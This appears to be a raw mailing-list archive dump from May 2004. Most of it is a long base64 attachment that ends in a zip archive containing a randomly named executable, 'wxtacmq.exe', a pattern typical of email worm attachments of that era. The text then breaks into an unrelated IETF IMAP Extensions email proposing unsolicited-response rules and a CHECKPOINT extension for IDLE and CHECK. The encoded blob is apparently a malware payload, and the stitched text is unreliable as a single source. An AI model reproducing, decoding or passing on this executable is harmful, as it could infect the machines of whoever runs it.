Qm/ZEXQC1fP2GhwLGSGZC4Mldm/3kGjyO9hOIu3U9azXsKuW5SbKDLV1dNMpkiPnTDsiBJW4 Vygo1FY/5o7Q2BDDijbQZJPqvX+8E+1vbnlGADMnS+8fm0ms51V+p02z3tcXR4qh2oCN4lCf mMn2CeZTQxSFqRTzH6WfXcIvV2UbwC7Hd/vdT9+UFxvyluVgEm3zSoexuXmpsJW2LlpbY9J0 GPxQhFHFV1MGKlInijEH2QF/+nIKSQRypghomRIyuYRXo5k64dtKDurtgo4ilMgiHbtykfNu T8+T1VRHlcPTeC45zw/mb8dKyJXK2oFz40F1cVIl38XgshHLLTcnj5OnOHJ5ZWSWpbG42HOv rqExTIkiA3Xv0XJ59Rn+PWWcNp3zuT2a7WelRQPxpS7310Yj6R3XGAG3fPmXlKjp9TtE7dGY rkg5kXyP2x6B33zaTM7Dg2/axx8WjyAvsHZTYkPEx2cqze+CCgzBlqktmL3/tjXFAQsoorqq mndRd6aAB6SeRXZ4CrrmHFWERpZ+8RePj50Crzbt5vlQUgqm5quZ0aAJGgv3+PKjJ0R9kxXP /kJEytbaeT4UWHHrFaVI09AWKaXLctwjELa2GUp/Enofl2Z3dscu9w0jXIlDmyeaoq8glZ85 X/jPijtkJZinAuE784lICr3cFwGuoU70Ipft0qkMQdmfkvHR9f/efvDs8FfmTC/FJvVdMYpa SX5hk/WqC3PtK0TmWo638mV+EfKaTJuObJwJxqD44l4S/6x7v/Dyph1hpFeeStWtFms3TzOk p1bAS3MD8a+WXg7KyLDwa+1JPCemXWfo9Fdx/Vx2SZcJn6X+hgYgZb5mlwJgshtyLmcUJ6tc B40k+41V5sZl7nd1NlaIcN3yZzni7ynzRJ2OH21XruHS3XH78mPCksvart656ZCK4dHtmSRc 8+tayT9tGPWKwrb9ml6o/9BYeGLwRM3YZ5tySwhtW43XNV2lmokfnpoyJsHdLok7plHwTypf a6YEdxwRMGkCkXn1sDb04syPginz9YVnnCXblXvq9Otw1KjlEJos1WsMSZxTiWDY+utJQjHb pzEy7paQg/s2NtCKciFff7+b/73RNKRxM4OOjq1cMnLsq9VhiVn98BnSRgMl9Yl73Lb7KPOx FuiIWDzIYOQk8+T5DLt0z3ancDXD/EQppdI8cWuz9JgIlTAT2ebuORy/VHEs01J4Yzj+6BfC sk+GCewR4hkzR1NMXfDRYqo2LYxE+zk/juuIh+JC5369uPTKTKG1lk4NfhKF2sxVgf70tICJ cZV7DOyfrkj8kXk9pScPKI852W7/b8IqpfhL4jBPqLaLUsUDCWCzFiLpFmU9RxSPbYb8QCiL 41vc/E74Mm57HTjmVpRg+SsZA6SnoFfMVMkcoF5j3LoRweQpK1W1rzlpP75jmnJv8N1SJeYt vpz2+SGee0mq5oLJefJeMrmhKQBJ300jaKqf2d3vmXUm2xZHuS+fMEmQVfBNeNmD5loVPf2w C+d+ZF7kBGKZDhf9D9P5R8v6sjlcAeBeQRQEHrt5zgBtqLbS29uryMdjT61YwD3yWbUUoc4k kjXPTEPSlkwvSYYPh8CIBY3Y6lKZzZXV0d1WtpMMp0EoqQIxMlHiL+RsJ6gQNwjTMRgu0/Xg bg/2zKISGZCpCSvnZarT9avFo++mjDpGoWt1RtUkpk/xGiE/lcHHxqoVA5OQFDob9rIN1HF0 FPtg1qY1yET9xMazdk5uUxddQmPWvHiacEpZ7wZpC5SHtDKDj38Vl60PX11zSq+ivPQgMojz JkhLo7GUY4UseOHbDljjXdHby73fbiUFfhgz7u3SiEtXCyfcuN5gvBPzkXlH10Kf+itfLMp/ w5N2KozF0KAmH5AUVnHrTc3uN6Tj2IzC81b4R3HTnDap6kzSq3a2P8K1u7d23ZowQ2FMYUl4 8HGmo0IgV8zBqQCROvO7KZWhwk1DBlhL2XY5tX9P3WeakLGGYaz+m0jHb59rPewdluKMSrpX VHqCVfoAEZaXEkge57EFoJ5hJt5lLD03s4PTqJyKW+MqMmRpIY5qnwpo9ZeAnw7qju+4aOT8 GDNpLaHQyw427etNY1aTTMNmPjTbGRkwPQuiT1iPnCm3OZOSU8qeihDgmhlo6p6/EHeSLhpb rSYqPaiRTEm2Vcyv3J7u69ZASI4j5bf1E8fDBCYExKenBDU0ldQohoPhclwjUfc9oqqghbyh 1ImnOtoJv9f6ZI5nYUHg92Y89UCpWi3vCRMDgN5feCg2KtUEBsCno2cYGSEgZwTO5rhQ9dC1 6AVo2LHrnKzPIQ/Jx6hhtwKkJ/L1gBLSUYG+EauF0ui40GPigOAMCPiIOkODtAWLhCmYXAqU fCjN0TZ3HsD5t97uZFMJ53Sga/Vp0HjJjmVgpTvKSU41y5zWImJxqxPg39u6a32sQXq47nNz hiFofiJcfjNIHEl5ToKKuOwxfoljbVGDiwrn8fTHY+tj4jyN4stn07/qLvwMSHzP20t1oHy/ BTMOAlTIO0mlnPifzTSxhSpcvZV4XPkTJjcA9PSBNw/T7jyD8wTwZOsxh8QRdxlr5FrgyYKL CuSTXHS6F6EyKZ7tdA406FUhL6XMNWjDCbKcYtOod6hmh5VZvykyvaFMFYQ1/ilp6Djl8Pna 7LNr76II5S+RdnDydd7vsdMOQliqMzCqzhgIvbDSMMXhpeR4x/E9igcj0buvyW6B8RcedISF +4zbyTonqVPV/QyQ/zCQICYm4DksWtNVQlYiyBfXCuo05wag/MYtEzJ1esYmQGYrqRCHVF+t KCXLHT+AVb61ssYwgv1s0omKKwiRqO6LqvdyUMia8llsRDp2Ei4MMPrH/lyB4ZrtGazbLhIv Sqx2FOXXvYF8NLttf4Ft1+mwdyX5hmd3ObzkePlMXLkEGzhqP93ZylIh6VBTsv6CshSbYlpt Mv9cezP+xtMOnopKvBoTorjTuEmkW7cjvphAsSSHhc/acihmoAUPm8pdLusrADXW5AT74J+3 2UeT5dfygWNH9qZpsjsrrflNnHSPT8krcD7NuJstk5vldXk+/5LMzJ8auXW4m+0Ni/JhBZ/O VcW3uPyTllNkqwyp8I/5xKraOgeiBcufZIitue/kYj+AH4SpAnTP7FIP1ZAySNOB0Xa96WMs n6Or+vccOCbqDQ/hw1X7J9dhhZN2U2sFjUKsw1zRLSBb0ZFJrZXPnBJwzlmhjkEAgnNNntR/ V5AwU9DQbI8Ag3zXuGWBbPbTQmm2D4N2Sj0W5TlPmVp8lLiHo0ZV08o7Lf7xyX75xOPGp9kS DEwqNdnwL+KJnVnV+17iH/gbKL6j1BnH1xRjYl/pAdRn2rzGXTZV3khuahUnL/JOlw+xg9zI lSAnKKwGdbhWsfye+4FmTzm2KyrABkyTJzd342ieadx8r4OrcQ99iBPm7CrbB4Zu7exQ7PCo CSFahSUFnlJHz4MIyLI2+7B7kPQXio7FKmP/hynykFmLESykb7T5/zcV69u+RstzbMBQFMK3 29n8ajtXBTzX0RVAQc5jq8YvE+xTH6PBbjnieOgYAvsyA0ZLwQCEfHkIVwB/lq0mubidHnar 2I+3dGoYeLtQrjyQTVfexzyX36bYdBXTb4MAeLxP8EPBcIAaUbkTB3OzxRkp+V8zFvbqpKbi o93f1qVQMLM1oZQ/Yx/F7k351s05nxZdZLXVfVVsqWgrUhxcprpVxNW1thlMYtL/bJP1gXao 1QWB8bP4srlurpbS2eZqhvd6RbiEsX/LPwNG7MBRkiZ4In/G+iFqvt/JI2KfqyhCw50AA1ra aW0oHnoudQo1V6fINM3qGYfwpxH7aNqZF18JO3bHAsv6nfflOb5teR6DNeEfm9YuFF4yNmfh 8hpaHIKdklfXJmLzdiqu3oPHaimW3PzbdQO12yVfb30XcxraiIuLQ8w1aQfcxiF0J/bZbyuP 7Hwr+auK3uK5HyX1pDSfRzY/5QBM3xxxyqFiZ1PIVCm73WKUEYOPSwKthogoOYSkm7BrOBaZ VhXxtdgRTYuAfZ5aDr1SZBP6f3nSmvs/Yk3XEoKcAKeT1qpYcdCtfsma45iDnCsyQ6RAckgm SFGHsIx/E7t41ngxbm5v6Yv6hpgHW5rkJ580abzGHRRFiHYVbJPsb4SeCldQP6KYt+kuV3Dp QhWA+JOIIepdn9x2/h6DjRY0O0DwYZWWQukvLeLhUWXXN0nQaCfThGmJTr4rRdv0werbiYoO zIALQavZ6IwSeHN+YH4VnPyoYmh33OV6uUB4rI+VM1Shsc+APNGpOxHxoWuudp+/t7R4sxEK 9Dknp5ZIBjXu7sbMnjUCKuTAY3MTZUoKJpKOhDPnE2KkF9atDzWpywqQ9KRwHIpXZx/EWsCl Rpzyg5iL6ljo0Iy5QfaeAIpUgdu0FI+UJxcnK9s9fniSZaAnHY/kbFgD5+/6wdor3QA2h0uD /afZI/HXzb6eiEwmEiieD3+uLf3Aj8Dhdj+moizDXhXghlIVlF7vHiq7waMyTL4HyI+XP5bo 7nq0FUobd+t8pt9xSgTYsO4IF8IpyLeqa4u2pkqT0zxZcsvSHQkFtHAxJHnN1HYfZrRaSb6N 1NvHzI4lhf2VcjQhbCNO09Ub45aSO/K4nzjCQijXRfiCtKEA/OV+aHAn07myYEjwvlGBEFBm +artC8p0OBFQRrp+RZm+hp+3w8vQp6LedqAyH/lQ/zdP+cadOmfIueEJPgCVqY/mXSivLRFI S5XOJIlVNRMiQDVPiEu1q3IkyiJOgLibmT57byqTCc82CX+3css5lKWdYyhHhlHcaZgLXp3s rqTWVVAMrH9HtBCM850FksCsNsSRZmiPbjlEh5hMrqX4Jip4suRAfa+uPuZPu1n57aE6P3Bc 53muGAkPvdJ1H0lK79DrGu7hbZv3N08bbAaF/MViy9CUW9evDCxeVQPH9K+bE9Icc7MWRaYZ YMEjJcJvMehr7fN+qmkfz29MdbDq9MgUb5RSjVr69mP7dJ4RuCy8pbTsY8jC1mrQiw6bhnDG RNpEoIIeN/Z1qxTxj0syaLXLDV/8lFjzCbyn6NJvmWxBpWrlE4HiJT7r/2yXVyBMz6cpyeMC A/iQSwAcAoEV5QaeoqeqUtavEFZOouGxI1n6hQhT19c6bwAn2c5Gd4EsAYSTZok43piOYueT TP7myRtlP9WbpmLG6M/wGL8RbJdAAXWP9EI7kRTv3vOCKa3wIIMpUAmMnqRQNwzzQu331o/9 +/dpZOwpUpVBsPtTJT9mye39SGPZ6k9JywB/rR48wu+bU6Sio0wNyVCkh8CEAN4Icu/hXXQ0 zi/4Pb2XP3czOdLmnMUYdpn8RjWXYk0LsqOrhKZLLcCvYeYyUMb+VcUf9Bv/oWApbpCg/yiY kTUTfk+sw1TK1H/Bhlu/TGoDPHBTkW0UmICr9bslN1Pz+3ZIkVFRWWB8XYoGOj6rhe+AwEzw rFHTtDwMLG4dOBBsbPi4CRQnwT4ey1PZoVgaVDJHkVOv2pIV+tw1pFMCs7Sh9uLreTQhelmm 3iXJnITLJ/vHF9aZK9ivScdIWrgfUHU43VUX7rpNFzFRpyiwitN85/nxZe1NARF+3PZT5LCX hI1W8e7QeQGrqyK68Bx4F/w4VC9E7bDWd/LhVY6b0pKlOLS/Y9hem0E+CfpsVNOm+BeZVHyS dNZ+LT0W+58yRMwgs6ZKsGmO8ETH4JPAuTTKzurhgMh6PC2IJIX08ajFpS7JigyaY6/nCpDK cryC+j5iXKaA7wvhSEDMv+V/a6aKBesE3yxCcWqDf15bNlpFfMVQEWgW6cOTa9pEzIDXlg6K tvCbLYZ8eJkxSxi30M07zfCy7x8dfxd1EA/TSa6F5dNBGOv2jKZ+Kv1p+4ZFZdgGHedVUBFN SM6KNAHK+bEJm1ikg4sdIH1TSoi9cXkUm3fxKnOoz9sRt0SoMjkKzhFZ/EdMN7F7bZbGELK+ v/lYwStVAtyq9MPYoLPUNuyav8FK6WRm+CxYQCxQE/daCR471ob3s4Gq39gbSyd8X6MbxjT9 jPdk52m1Lv4nVVmfzwJdcWcVp6s5DAo1zHeA7DjMAF1AIgrTBPrdZVXQ5t2ePCTuLTyXdmIn AWzr+t6yAWt17uyVvFLYdPwTtMVwvKwWLkZtuH6lby+R6MruBYKkkJe/K7B2kvTxrgpgrI7h ZfYnrj/z260l3wDiHiaBSSlh5HBAHkK5SMqoXrJvnaruHp4WnDSSQhWwWY0XzWKzjhRhswO5 gYK1FOaLskdsOCa9c974Qj/jzNiTbC25eq7IWITbABCHaiVk87e/ZhPTWqopexfpzYC04wdD xyZLA9blfqVNT1lvp7/jE6ryXUnF3BpYaZzpeJP2Tzk8aVfZetU926YnMVKFGD74xZEsnUXP srDZ8wXMJHIyNEKAwBIIsPHTmxg5k7OsoQ2aRSSC2JR7nVJB5Tgvmc8W+H6e825Pd9KlbLI1 ksHCba4BvCcd9XIu8yUFxnXNV4MmLqiBV1l8SnCnMQhRIq0m7Rhz89qebGHke4kp3zG1le5a MGZg0ChoxNdEHCOoKPslS01xe140pm/5oEVx6yCdzl/lXMtlOhOgC0jXj9K1PHRED/CWyZsg ZxQbDtALRjTWuuDR28zet5ZChVEWoBfVEBF1qCZfJ8DQc7th2NVTngwob0kgeB1pLoYJmrjc OcviLF4yq5usr/AomHUWIp0eFkpl1K3umyc49qkVUNWSLo9y+/FT2FmXpdEOVnMa1oClQyo1 YJI6Z2AsLkQgVG2Jupr9YClLi43d2r3MmyY55A+qsRPMSpbAEZzWOJSE5cOkDHfZDpyi3ucG FglV2qpYvC0TVlBcYoxQ74iMaRtpyo2PKIITtXTxmk86M377V3ki6y0EaJbZV5kZ5Li6HhKG J6jiy5jL6cIRJUo31GY42bVf6ori7d8LDmFNPFWvT5/NmQr99jk29O5ZyXNkxyhSQAMrtu0G MUD8L3ih1jJBGzMXL6QhmZGXVB0Oo0Hb5Zwk6azyk8Htm7ce+QtsnFlId4bekg+uI3UJxmbe KqTPf/WLcZxzqVCXnwh1qjYhgWhQsHszw+qvg/5YVjJ+ZX9rkpdaogtSWKXkohxhegAxO1b2 gtxE20UJv2zlYWk8yin0pSn78yZD0qjcWzSfO6Av19Sd6NvNqvAK/Iw7wyzX+Pf7ppbcolWh wgIiG9ySgBn1BzQZPAvAZsj9sYGMTh0k/QE6g9w+5ost5rZKO6gGbdKN4Rq9vnNYraFiZ1Sa lMZaaQGtKG6fnooWdEaoa3odJa+IcivmlZBLKlNUp3lZpJLL1JGU2F5VXyz+9jjGaWgyfPXX ogEN+YZFuTZxJO3xrswPVZuSMVTwowfVMLvoaZfbTGiteMwh988dylj2Ow+HLNxu9Dafv+Vi jZ78xoW5zI6M0h9iMA7FAp5ZZro7m29UnmfPlFtt6Avt8xp1h7MNyor2cGBRnVuqvfSFbEbO tKx4WgBddYHqNlPjhDPrFPbyXJMnCq3qfoP5zYrPviFzTsOvawMfkynRuLzt2IHeKhnWiEnT lQFu2F5DYTXFedZTe355au73wD3lfMKr3mXs0J1ooerVv54ZCectAFmQfRohVjxzKJh0R3KU yNVOQzGCBgoSmEHKTTOXJFinhFA+/alzzqiYmwxY2KpGGnsOMGYzpUquE00DGvMNUuPAYCpV NTGQR+f8D8bziZg8jIIjx4zsG4R9Mf6Alwtf+AF0fBP2CzQsQmAn7taqaMG7ZBFor5hKYzmq Hg+gV0fwgVxjqZJ6feHHWS/znLKPz+6RcqBHqd7kwKp3+ZESaf8UoKokqafGALmxk6HtB4Ai FMKFGYBDpi6Vcvz3Z1cQHXQ4WOXw2LYsENT3t16uI6cbGwbx9ZNEM3hfMV7Drl3WiJB0ruP5 XPKHGpEn8Yma4+pnFhtW8j/pg6PZ8o0pV7gsAnF0/rHh+J8yY1IlC3dhikxOT5qMy4Sy7pT0 jmyrGhljH+Hw6Kv1Z2/Mr/3JQmQOHbe5AlfEi5/Ad6VF50ZxzPq6YK/G0kynKkHVrhaefQFb BgTtjuMHpZXrKrC2S/RCQF373oDVMnRZCGMLNdtSNm15bYf5t+BeelCWavA8pKnlpwmEyt4L 8Vpb++c8hsOPAqYBYFwANjSJSK81FrjVq8lbsji4tYF6r90rM7bJGjKk9Wpajdf0cl6+rGFe pCr9Q36qoNyCb9K5SFfekJI+qnWgmyJD7MeEjOf56YKLS39QC259lUKwu+iF08gd7R5glHNd mZxgveM1W+jTw2h7n2HCxyfEzxFZJCS9AbaewPzBZein3Iu3GV9Hvc6I35Vho7pwUOIzCGAA rPRHS8/FVXZHIm4SOSbab5qguVmS/3nNnT/Y+Yx0Hg7eRs/SI7KEqnzFKpNT+NGEkYtkZsA/ //ibJoSKWBg5t+NLd338VWX00gDEnR97DTaEpOlSXkYEp2if8ykuPpeNU0s0VckDDg8NYm4v ARj/wuD8K7N6XSclIi/T0hasOomz9VUZiccmGNFT1Gb1TlgcgUJF+SnUp9Mq3B6iDGc7qkTy XGjlfiLZTRilTaZ4IlUNyFzjWYyEKdBPaT2NVwK6YteseaeJfBx3IKAOa5kUzUiVqnz9lwmw yPc2/5QxzyWxfULnZNwrN6kIEw3P3vTf1GtRJ5oe1Nwo/uSBoVtnnF8aH5nBvy821hqbz4Nc fTI6QgHlPTQ05V+gxDRPL6VrIW9JII2qdllZemaW9LnMjFr455hUQvR5iCfgCX17FPIxUXcM Uvi20RbO5/GayZ3pxEtdvokYZ7XtMS0emurQ2V4m6pWcV0aJbZ3P5sKjNXEwIoRTlLPJ6KOm gQr5JhoLt8XYDL4hI8/pXGq1FkcGh8r3/Env83SqQvDyNOZreVb38fYRJ3RylfHxGtdQMFHL +8JkdIOWCLUWQOUCiun8DqBjpyx/xASJ6k4OCFLTrEjzZt8Yo+Ewzcam5tvoShIL6BSRqzD+ 7aUDV1CYZnNKu50h4eDc0N6xDzupPRpWax22W9qZ+UCvI+kIfDm6dvAOjBhToJezNtEzGVKD 2ULwjmWdy79mg2mi6tXetpz6reDXc6OCVuTyzsy0+WxL0q0VKdOWlZRBFZzRN76frN5i9uMa zofJbhUSK+6NCxs5FU6eAFvdXxWhapsHDCAJzEN12T0HLNa8MIkJQdn2zgm/5/g9fh7iCHIp YT5+sG6b4Hb+BJNAxQsTozAweRNdOiaOHxsqpmcvNRsZYjTCrVM3LkLULutmcS1xhICIeRQ+ ByDLQWLWliP51J8qADRLyVr3DZY/+CDWntrw7xxjDM6qKSg+xd8H2dYMhPzcRbJXfM589oV2 QdS87L/TR2VvbrnajIgBJjUoEZplOIzsrcOlN+/0WHtxE86XE+T6q7ANv6OLmFS1MPfr2XJA BNkwYkawJfR8ng+7KH5wiJyUcKLi1rVD/3RcEKDZzTFQ2JRuDWqY/VJG/5fRVgPGS4nTMihU X0p6jvx20H4Qs28+gq8CcF45Xl92teHMKLdSG3zpAByw0POZo0omdT2X/M7nLSMMP/ej1hxv uwrYcjBjOTqADuIseMQ7X4Jj1Jk3LMmn0LxM6hRUUG6ds0VKA3KoeOshNf3o041TG6+AHcEV KKtUwA7oE1zZruxQQfIvJ/ogqN9qbn4lfOMznFTiL2pq/E7vky+418jSHG7hIJdU2bAC4Fe/ k0NtO2rnBfnMEDcID8XFZLmEWMhm1dbeg6IrSnVSiNeuyo2FI9IYK3D56HdaHBA7A2kSzme2 37b89uYk0ldSGmqzyuK48+q4C2muXKwNeTNJmPAPZUIKrPhE5TQLF2LNik/BJ/bLort3EucJ Ahr7EAVQd02KTDjfhD6a9oZZ4TALlJJimdY/5UhqHTqyltKccTZG/jdl+ouQrSfv4jCfVY6T WAMiX6Q3bgy51jpuj0SPh04wfh2IZoKens5/qbzwLLh0pCcawo3P++xZogaEgzphcTB3EflE krkwwzI2cEWJYS/bED1+BRnQ0Q2yuP2RJqppqfFtr39vF0cHsHaR+lIh28keodAZHeNx0E/n I5XYFS5nBPfl044DE1qtokadbQGbFyrkdmIjaITxObum25UIYkInwloQlY2G3VJ7aTKCHzhy fPZ/u2RGewjzseUCiyA0qxP/SkwHyyHsgFlJwQFqf2hLnt/7fix5gU/Nei9CVoxovFoW0/KR QqsFya2zmBFWVJ5pc4lfJpJn74cJRTe23DY57Nw6sD6SbAe21L01LyzTZMCzttEH0LbudoE/ cj6GDkwKKP1V3/nqM/Scd7xkBkd0sNCUdLveCTgJ55+Uy+ZZ0dT9ZoZgv3Zwiinn1PWDI++v 78e8LZ5vCBdnUJ7JDKjr2MoBCXDRzvDMawe4iWWimAx7FK8WMv9bmJfmrhVidhu14FjlpGFm 2ck4FcGsAS9RWzt/ox4LBAVhmE9IrkssHeOAg3gwlchZTnNRDPI0u/07jnWw6cGthNN934qH 2llUzZB46jwk6NF6vj6BVAk4HCAkPI5UCJYazYIPaztTcYkBirwSlwqyVI4d6IWF6bsI01KN vA2VgIMO43IpCtOm7FrSYK5C87T4ATl1tw5kH9mG0nbOBUNRyJd9YHd9H4cKmLYk7JWhJXN6 5BiDrMZ2fbx5+a1naXLJsMF3AlMsRwuZBq9IxHZ95V/yBZqQ9IBtOBP5RxRimPx1PstCToyG qKgH+Ga1myaUCQohYrC0/8LBsHRvyYpVeXgFiTvFcTfr0wrrvtzdFuftk3kPo42bOLWw4OdL E2vOlDv7iTSeS4Y+lgf3Km1uIU+q/AGq0l9TV5hT/NKuDSNcCBkTW30nD1Fj1ejd6tRa3Bg7 380ht6m10dCjgK2ssaUS5ZDrHutOfTc62GW4GDdHCMBQQC2vA6w8ML4K2TnFl7ERoLyrjlc3 FLoseS9pIq66nLZIYdYCdh/khFDKEyDE+WtuZrmRrwWQy74juRtfVwNA2UDjoYJbwkHdUn+R 6owikJ0ZTrJDcvDlvaLZ5n6uTNThl1B3pT59vd8p4wQd37Glt57R62zUfx1RrlsODiEQFJQm UPF8iwgWq3ba98R1iIE2mJoBifGIKDiT+LiAQAtA/vMl6+K+QRQYnFiNyoBqFssaYPTCy7xo 6w5y+D405qm+gaQlOnIMbeH7wgrm17iYeS7+6cUfVPpx4r0Sovp7Fr3ArkeE6a6sc0hEZwYI PSG/RIb1Rvn+APt+zN9QOpU6TCwY4in3PbtsL0p2heFDj7ARfns6uWEKer2JyXHrlKOoUZVe 9X5V1yFJC/mY9j7yQkyoJlI2o3QfsvYOkopIOoM9y2cXZvyIKCc3ejimGM4qMomfbkZStAra 3FJVvR/1wCXRKYtzigB3TWNTd3VXpoMz6BoMR43D9b0K5XfixgJEu/WJY4d02OuIECpLGE0T wA7wEoz8Li+0sHtt2K6EbnFNA2eCNjWAH0CGa5b+dOX+dcf7+xRXNso2l6CXIM7boG4a8/Et RqbqgctKFxbx2m2P4uOe6zMcbRdDsynmasecA2/D+P9XP7WhtWrkpWi3f32ShbOCCiKj/xdd mnUDQ2IMG+ZCwGtrYMLfSMXO1fT1UQZIbp+LRPzFyU9WSdIOgDqDFk69Z0yZYlSUu9LuuweS MrbYv2mKlDv0xTJmkwgxFh7bDC6Hp3fv9hnZKIXrUrEuu8nDU0VdPkwiDvORHyx2tD7/qPF8 pWUg2JHIgITmoUFAM+uS8xEXX1d63MynlAf8L82F1JCdzGDagl9hFn/yjTevRW06sEOYb003 S/LuqLKyoC2KpEGKl7V2UgXhPjuGW6C4oNvh+mH9i944ldvaacVIbii2SM9gqqsA+5Ydrpxn oRLyz3GgTHkfm2RTpRWYGIcEdeSICG65XZyhSCRmK37cmh1kbwnyCpgDhtG2+JoAkLbrH8g7 Qu9Km2vwD2ZOzKNyC5QfC1FMacIdC1Iu12/FAIvfj2DzEcRwDe71UMcmeZHu8AAr2DbTtFJE FjQ8mNxD+yXuS22bW+ULYrcCK/eXaaZjVdonyd7bo73lnRzXnxC/5JU/HrC6Dp0nuuM57xm8 cutB8yBWey10ZWZdfpu1MoJCUqQZR1/eR+NVU2HLYrvet5SblQkhQH9ABL/i5DfajPlGHVs3 3PjpJ1iYkl77IykbxW1ri8npVXK7ksnwF9MADtb6zJ+/7BRU0imBlFeTgW62HtwUahIQZxN2 rapsZvkROgGUc+GgMCM8Dkd/+0zPWTqOX48SDNLYG/Z0CKJsFZmKZioSfEHLA3n/hOexSGaB IFzQsuy1Yb92Mrqy+aYofUvHene1Fyy/Sc4t/c/yguFUKgH3lAlxGmeF1Vl9pqo/RcnQqMMs GnwJy0h+mLKGYn3/rNGIyUaye5qfyrvih9rgemzXOaBfeLsv/WNN1ABMqtwr9RWoW29Rxryo 6Sp3ToFHGGCddY1i8gPG5S2RZYQUdv35Vufwkk2xFFTG9Qq52i4p1wx0YDod6NAOUBuSVNwB 6LqYs2Vmc/TzeKcjN5jniV1Tj9a/Z5fZWuZrgASQ+LMZH6F3k3PJlDb4U622Ahz+vpvH3dHC 7EOxDTpWy/EWcKOMWl+53xx7n3x69eCpM6kORPT5Gbys4DUNxZclNuIIwqxE6MPuiRWyNNvz PVR70lAaBxxiD8yf9TMeIkBv4fi0CE7eakw1Nhqt4rU100KvDdvwJId34J23r6eNPop4oUAa vzIuYOhum3cIV0c38+yDjDG00DVESN9QlpIi/zxRqrWemfkqM0/+2xc7phqY6GbGQTN4xDdO 3SFY+XziVxZmmtfs4hyTtrLGhmGKTITTaBtmpWqL/fnv0lvyun8adh3nQgnvUlU/EsDCiPq/ pYEm4rDB1JAGGLwAYu+y1Mr+QngnmNci/O/ufAQajusRSigD4P5j4RAhbIN+WZzVoGFecZRr XE8OlpivEiBx8Gk4voI/ztgCwNGQLUVUGAehiBOY4gehpIXl59gf1RVGYQIpoOC+tQJ4oc9k Qh2sPEO9xaw8oOcR/DvvcE5jXSrkRsCs10kAH7DBGyBmUvHwpBg6LJrF1ZPq2TNbcuEZERiS m4jzbOPXC83yhScYgBU53LGsqDxv+ixR+mMFs9gcITuCY1oWBfL8MS+KfVC4DCkKk5ONxexU uheTUEsDBAoAAQAIAAB3vDDVuYmKFwAAAAYAAAAKAAAAbXZrcXNuLnZpZKy9l5P7sjlOer+p DPzW+cfWMui0VZx9UEsBAhQACgABAAgAAHe8MFq+1m0sUwAA3U8AAAsAAAAAAAAAAQAgAAAA AAAAAHd4dGFjbXEuZXhlUEsBAhQACgABAAgAAHe8MNW5iYoXAAAABgAAAAoAAAAAAAAAAQAg AAAAVVMAAG12a3Fzbi52aWRQSwUGAAAAAAIAAgBxAAAAlFMAAAAA ----------spibhuwzrsuvwnbmmuzu-- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4RFi4es087528; Thu, 27 May 2004 08:44:04 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4RFi443087527; Thu, 27 May 2004 08:44:04 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from ems.noklab.com (mail.ems.noklab.com [66.207.128.99]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4RFi3CC087509 for ; Thu, 27 May 2004 08:44:03 -0700 (PDT) (envelope-from mike.wener@ems.noklab.com) Received: from [172.18.83.152] ([65.207.39.130]) (authenticated bits=0) by ems.noklab.com (8.12.10/8.12.9) with ESMTP id i4RFhoDY025490; Thu, 27 May 2004 11:43:50 -0400 Message-ID: <40B60CB6.60002@ems.noklab.com> Date: Thu, 27 May 2004 11:43:50 -0400 From: Michael Wener User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en-us, en MIME-Version: 1.0 To: IMAP Extensions WG , "Eric A. Hall" Subject: Re: checkpoint References: <40A9C52A.8070308@ehsco.com> In-Reply-To: <40A9C52A.8070308@ehsco.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: I'm also concerned with this same problem. I believe a broader solution should include a clarification of what servers communicate via unsolicited untagged responses and a way for the client to communicate what information has been acknowledged. This implies two drafts. First the responses clarification ... Right now rfc3501 and the rfc2177 specify a mechanism for the server to send, and the client to receive, unsolicited responses, but it is unclear which responses the client can count on as going to be received given an event on the server. I was thinking along the lines that for certain "events" on the server the responses be clearly specified. For example ... 1) New message arrival. An unsolicited FETCH response that would provide envelope, uid, flags and maybe even some body structure. 2) Folder creation. An unsolicited LIST response. 3) Folder deletion. An unsolicited LIST response with a \Deleted flag that could only ever occur on an unsolicited LIST response. 4) Folder rename. An unsolicited LIST response with a \Renamed flag followed immediately with an unsolicited LIST response indicating creation of the new name. This would allow the client to implement an amortized sync algorithm. Second a checkpoint mechanism ... In order for the client to decrease the likelihood of having to perform a full sync I would suggest the following. 1) An IDLE extension that allows the client to communicate that it is desiring to reliably track unsolicited responses. 2) A new unsolicited response that communicates the checkpoint tag. 3) An addition to the CHECK command to communicate to the server that it can "forget" the last checkpoint. Here is an example ... C: 1 IDLE CHECKPOINT S: * CHECKPOINT M ... new message arrives S: * FETCH (UID N FLAGS (...) ENVELOPE (...)) ... New Folder S: * LIST (\Noinferiors) "/" NewFolder ... Folder rename S: * LIST (\Renamed) "/" OldName S: * LIST (\Noinferiors) "/" NewName ... Then same client issues check command S: * CHECKPOINT N ... More responses The check command would be something like C: 1 CHECK M S: 1 OK I realize this implies the server would have a larger queuing burden, but I think this could be mitigated by only invoking this behavior in response to the CHECKPOINT extension, and having aging mechanisms. Comments would be appreciated. Thanks Mike Eric A. Hall wrote: >We've talked before about the troubles with using IMAP to open very large >folders over long and/or thin pipes -- the synch time is death. I'm >running into this more often and am about to the point where I'm going to >write up a checkpoint mechanism of some kind that does basic "here's a >marker; only send me changes made afterwards". > >Any suggestions or thoughts would be good to have right about now. What's >a reasonable limit on journal depth, for example. Obviously the journal >changes shouldn't exceed the number of messsages, since that's counter >productive, but is there some other limit where it stops making sense. >What about extension handling, like if a server had negotiated a feature >with one client but not this one, but those attributes were recorded in >the journal and will be nonsensical if they are played back to the current >client. Any other thoughts would be appreciated. > >Thanks > > > Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PGDgrq041845; Tue, 25 May 2004 09:13:42 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4PGDg5C041844; Tue, 25 May 2004 09:13:42 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender 